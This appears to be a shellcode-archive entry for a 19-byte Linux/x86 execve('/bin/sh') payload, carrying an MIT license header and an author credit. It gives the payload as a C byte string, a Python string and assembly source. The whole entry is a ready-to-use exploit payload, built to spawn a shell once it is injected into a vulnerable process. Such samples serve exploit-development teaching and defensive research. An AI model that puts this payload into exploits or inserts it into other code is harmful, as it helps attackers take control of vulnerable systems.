19 bytes small Linux/x86 execve("/bin/sh") shellcode.
be4f9c9c997dc495df8ab42ad7267291;================================================================================
; The MIT License
;
; Copyright (c) <year> <copyright holders>
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
; THE SOFTWARE.
;================================================================================
; Name : Linux/x86 - execve(/bin/sh") shellcode (19 bytes)
; Author : WangYihang
; Email : [email protected]
; Tested on: Linux_x86
; Shellcode Length: 19
;================================================================================
; Shellcode :
char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
; Python :
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
; Assembly language code :
global _start
_start:
push 0bH
pop eax
cdq
push edx
push "//sh"
push "/bin"
mov ebx, esp
int 80H
;================================================================================